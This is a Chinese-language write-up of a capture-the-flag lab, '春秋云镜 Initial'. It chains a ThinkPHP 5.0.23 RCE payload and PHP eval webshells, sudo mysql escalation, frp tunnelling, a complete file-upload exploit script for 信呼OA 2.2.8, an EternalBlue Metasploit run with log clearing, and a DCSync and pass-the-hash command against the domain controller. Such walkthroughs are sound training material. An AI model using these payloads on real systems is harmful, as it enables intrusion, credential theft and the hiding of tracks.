春秋云镜-Initial
flag1
先使用fscan扫描,这里只用于进行简单的端口扫描,输入
window
1
fscan.exe -h 39.98.122.187
linux
1
.\fscan -h 39.98.122.187
可以看到 web server 的版本是 ThinkPHP 5.0.23,而且存在漏洞
这里使用 ThinkphpGUI 这个开源工具来进行扫一下
1
Java -jar ThinkphpGUI-1.3-SNAPSHOT.jar
启动后,输入URL和版本,检查并GetSehll
1
http://39.98.122.187//peiqi.php Pass:peiqi
直接帮我们上传了木马,文件是peiqi.php,密码是peiqi
还给了命令执行的POC
1
http://39.98.122.187//?s=captcha&test=-1 Post:method=_construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1
可以手动上传木马
1
_construct&fiter[]=system&method=get&server(REQUEST_METHOD]=echo '<?php eval($_POST[aaa]); ?>'>shell.php
木马上传后,发现flag在/root下,需要提权
1
sudo -l
发现/usr/bin/mysql
这说明我们可以通过通过 sudo 高权限运行 mysql,进而能够执行 root权 限才能执行的命令
payload:
1
sudo mysql -e '\! cat /root/flag/flag01.txt'
flag2
接下来就是要考虑内网横向移动,我们的最终目的是获取域控上的 flag,我们先用蚁剑上传 fscan,扫描一下内网中有那些存活机器
ip a 显示的是 172.22.1.15/16,所以实际网段应该是 172.22.0.0/16。
但 writeup 里写后续扫172.22.1.0/24 是一种实用主义的扫描策略
实际子网掩码:/16 → 网段 172.22.0.0/16,包含约 65534 台主机,fscan 要跑很久,实战中基本不现实
内网靶机环境通常把目标机器集中在同一个 /24 里(即 172.22.1.x)
当前机器 IP 是 172.22.1.15,同网段的其他机器大概率也在 172.22.1.0/24
所以先扫 /24 快速发现存活主机,是渗透测试中的常规做法
扫描的结果会自动存在当前目录的 result.txt 文件上,查看txt文件
于是我们搜集到如下信息:
172.22.1.2:DC域控 172.22.1.21:Windows的机器并且存在MS17-010 漏洞 172.22.1.18:信呼OA办公系统
而我们的最终目标即为 DC 域控 我们首先是对 OA 办公系统进行攻击
在这之前我们要先进行内网穿透,其目的是使我们能够在攻击机访问内网的服务,这里我们需要一台 vps 和工具 frp
该工具的目录如下:
其中 frpc 和 frps 是可执行文件,我们需要将 frps 和 frps.toml 上传到我们的 vps,frpc 和 frpc.toml 上传到我们的靶机
相关文件的配置:
frps.toml:
1
bindPort = 7000
frpc.toml:
1
2
3
4
5
6
7
8
9
serverAddr = "8.148.230.29"
serverPort = 7000
[[proxies]]
name = "socks5"
type = "tcp"
remotePort = 798
[proxies.plugin]
type = "socks5"
这里要确保你的 vps 开启了 7000 和 798 端口
由于frps 和 frps.toml文件太大,PHP 默认的 upload_max_filesize 通常是 8MB,frpc 超过了这个限制。上传不了蚁剑,我们用wget/curl去vps拉取文件
第一步:在 VPS 上开个 HTTP 服务
1
2
# 在存放 frpc 和 frpc.toml 的目录下
python3 -m http.server 6666
第二步:在 webshell 里执行
1
2
3
4
cd /var/www/html
wget http://你的VPS_IP:6666/frpc
wget http://你的VPS_IP:6666/frpc.toml
chmod 777 frpc
上传成功
在 vps 执行:
1
./frps -c frps.toml
然后在靶机执行:
1
2
chmod 777 frpc
./frpc -c frpc.toml
打开proxifier,配置代理
成功打开,弱密码爆破,得到admin,admin123,成功登录
在登录界面还可以发现版本是2.2.8,查查有没有漏洞,这个系统存在文件上传漏洞,有直接的 poc
exp.py:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests
session = requests.session()
url_pre = 'http://url/' #填写172.22.1.18
url1 = url_pre + '?a=check&m=login&d=&ajaxbool=true&rnd=533953'
url2 = url_pre + '/index.php?a=upfile&m=upload&d=public&maxsize=100&ajaxbool=true&rnd=798913'
url3 = url_pre + '/task.php?m=qcloudCos|runt&a=run&fileid=11'
data1 = {
'rempass': '0',
'jmpass': 'false',
'device': '1625884034525',
'ltype': '0',
'adminuser': 'dGVzdA',//base64加密的账号
'adminpass': 'YWJjMTIz',//base64加密的密码
'yanzm': ''
}
r = session.post(url1, data=data1)
r = session.post(url2, files={'file': open('1.php', 'r+')})
filepath = str(r.json()['filepath'])
filepath = "/" + filepath.split('.uptemp')[0] + '.php'
id = r.json()['id']
url3 = url_pre + f'/task.php?m=qcloudCos|runt&a=run&fileid={id}'
r = session.get(url3)
r = session.get(url_pre + filepath + "?1=system('whoami');")
print(r.text)
相同目录下还有一个 1.php 文件存的是一句话木马 1.php:
1
<?php eval($_POST["1"]);?>
运行显示上传成功,还显示了上传的路径和密码
蚁剑连接成功,得到flag
flag3
接下来我们就对 ip 172.22.1.21 进行渗透,这里需要用到渗透框架 Metasploit Framework,kali 自带这个框架,这里的攻击机我选用 kali,我们首先要在 kali 中设置 socks5 代理,否则我们无法访问其内网的环境。在 kali 中设置代理比 windows 简单很多,他自带了一个 proxychains4 工具,我们只需要编辑 etc 目录下的 proxychians4.conf 文件:
在上面用 fscan 的扫描中我们发现该机子是Windows Server 2008 R2,是MS17-010漏洞的受影响系统之一
存在 MS17-010 漏洞,这个就是大名鼎鼎的永恒之蓝漏洞 我们先在 kali 输入 proxychains msfconsole启动 Metasploit Framework
输入 search ms17-010 搜索 ms17-010 相关模块,可以看到一共找到了 4 个不同的模块:
这里我们选择使用第一个模块,因为他影响是版本比较多,然后接下来依次输入以下命令来发起永恒之蓝攻击:
1
2
3
4
use exploit/windows/smb/ms17_010_eternalblue # 选择使用的模块
set payload windows/x64/meterpreter/bind_tcp_uuid # 设置payload,可以通过show payloads查看
set RHOSTS 172.22.1.21 # 设置靶机的ip
exploit # 发起攻击
运行成功会出现meterpreter> 该 Meterpreter 是 metasploit 的一个扩展模块,可以调用 metasploit 的一些功能,对目标系统进行更深入的渗透,入获取屏幕、上传/下载文件、创建持久后门等。
1
2
3
4
5
meterpreter > screenshot # 捕获屏幕
meterpreter > upload hello.txt c:// #上传文件
meterpreter > download d://1.txt # 下载文件
meterpreter > shell # 获取cmd
meterpreter > clearev # 清除日志
紧接着上图,可以发现我们已经成功的打进该主机,遗憾的是该机子上并没有 flag ,也就是说我们最后的flag 在 windows DC 域控制器上面
接下来是进行 DCSync 攻击,这里简单解释一下: 首先,什么是 DCSync
1
2
在域中,不同的域控之间,默认每隔15min就会进行一次域数据同步。当一个额外的域控想从其他域控同步数据时,额外域控会像其他域控发起请求,请求同步数据。如果需要同步的数据比较多,则会重复上述过程。DCSync就是利用这个原理,通过目录复制服务(Directory Replication Service,DRS)的GetNCChanges接口像域控发起数据同步请求,以获得指定域控上的活动目录数据。目录复制服务也是一种用于在活动目录中复制和管理数据的RPC协议。该协议由两个RPC接口组成。分别是drsuapi和dsaop。
DCSync是mimikatz在2015年添加的一个功能,由Benjamin DELPY gentilkiwi和Vincent LE TOUX共同编写,能够用来导出域内所有用户的hash
也就是说我们可以通过 DCSync 来导出所有用户的 hash 然后进行哈希传递攻击,要想使用 DCSync 必须获得以下任一用户的权限:
Administrators 组内的用户 Domain Admins 组内的用户 Enterprise Admins 组内的用户域控制器的计算机帐户
现在我们回到一开始 fscan 的扫描结果:
我们可以看到我们用永恒之蓝打下的这台机子是 enterprise 用户,也就是说满足 DCSync 攻击的条件,于是我们在 msf 中依次输入以下命令来获取用户的 hash
1
2
load kiwi # 调用mimikatz模块
kiwi_cmd "lsadump::dcsync /domain:xiaorang.lab /all /csv" exit # 导出域内所有用户的信息(包括哈希值)
这里我们比较关注是 Administrator 用户的 hash,接下来我们使用 crackmapexec 来进行哈希传递攻击,来实现 DC域控 上的任意命令执行,通过以下命令来获取 flag3
1
proxychains crackmapexec smb 172.22.1.2 -u administrator -H 10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"

























